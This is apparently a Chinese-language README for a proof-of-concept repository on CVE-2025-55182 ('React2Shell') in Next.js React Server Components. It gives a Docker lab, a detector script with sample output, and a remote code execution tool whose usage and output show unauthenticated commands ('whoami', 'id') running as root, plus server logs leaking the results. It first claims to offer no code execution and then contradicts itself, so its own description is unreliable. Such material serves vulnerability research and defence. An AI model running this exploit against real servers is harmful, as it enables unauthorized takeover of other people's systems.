作者对因本研究造成的滥用或损害不承担任何责任
仅供教育和防御目的
本仓库包含一个小型实验环境和针对 CVE-2025-55182 及其副本 CVE-2025-66478 的概念验证分析,涉及 Next.js React Server Components (RSC) 和 中间件授权绕过行为。
此 PoC 的目标是重现漏洞所需的内部请求流条件,分析中间件行为,并理解 x-middleware-subrequest 在特定配置下如何影响受保护的路由。
本仓库 不 提供远程代码执行
它提供了一个受控环境来研究:
NVD 当前将 CVE-2025-66478 归类为:
Rejected reason: This CVE is a duplicate of CVE-2025-55182
该行为仍然存在;仅在整合期间更改了标识符。
x-middleware-subrequest: 1X-Powered-By: Next.js
x-middleware-rewrite: /...
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding
nextjs-vuln/
│
├── Dockerfile
├── package.json
├── middleware.js
│
└── app/
├── page/
│ └── index.js
│
├── protected/
│ └── page.js
│
└── api/
└── admin/
└── secret/
└── route.js
docker build -t nextjs-vuln .
docker run -p 3000:3000 nextjs-vuln
本仓库包含一个辅助脚本 NextJs.py,用于分析:
示例:
python3 NextJs.py -u http://localhost:3000
krakhen@kapz:~$ python3 NextJs.py -u http://localhost:3000
Next.js React2Shell Passive Detector
------------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Timeout : 10s
[+] TLS verify : enabled
=== Fingerprint ===
- Next.js detected via headers.
- React Server Components (RSC) detected.
- Inferred Next.js generation: Next.js (generation unclear)
=== React2Shell Probe ===
- Benign React Flight gadget executed and returned marker digest.
- This strongly suggests React2Shell / CVE-2025-55182 style vulnerability.
=== Summary ===
Timestamp (UTC): 2025-12-05T22:04:25.089044+00:00
Target : http://127.0.0.1:3000
HTTP status : 500
Digest : REACT2SHELL_PROBE
Verdict : LIKELY_VULNERABLE to React2Shell-style exploit path
Response body (truncated):
0:{"a":"$@1","f":"","b":"development"} 1:E{"digest":"REACT2SHELL_PROBE","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
此工具允许您在无需身份验证的情况下任意执行远程代码。
用法:
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "uname -a"
React2Shell PoC - CVE-2025-55182
---------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Command : uname -a
[+] Sending crafted Flight payload...
[+] HTTP status: 500
[✓] RCE confirmed. Command output:
Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "whoami"
React2Shell PoC - CVE-2025-55182
---------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Command : whoami
[+] Sending crafted Flight payload...
[+] HTTP status: 500
[✓] RCE confirmed. Command output:
root
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "id"
React2Shell PoC - CVE-2025-55182
---------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Command : id
[+] Sending crafted Flight payload...
[+] HTTP status: 500
[✓] RCE confirmed. Command output:
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
POST / 500 in 10ms
⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
⨯ Internal error: Error: NEXT_REDIRECT
at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:132)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux"
3156 | return (
3157 | (obj = parseInt(value.slice(2), 16)),
> 3158 | response._formData.get(response._prefix + obj)
| ^
3159 | );
3160 | }
3161 | switch (value[1]) {
POST / 500 in 11ms
⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
⨯ Internal error: Error: NEXT_REDIRECT
at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:130)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "root"
3156 | return (
3157 | (obj = parseInt(value.slice(2), 16)),
> 3158 | response._formData.get(response._prefix + obj)
| ^
3159 | );
3160 | }
3161 | switch (value[1]) {
POST / 500 in 11ms
⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
⨯ Internal error: Error: NEXT_REDIRECT
at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:126)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"
3156 | return (
3157 | (obj = parseInt(value.slice(2), 16)),
> 3158 | response._formData.get(response._prefix + obj)
| ^
3159 | );
3160 | }
3161 | switch (value[1]) {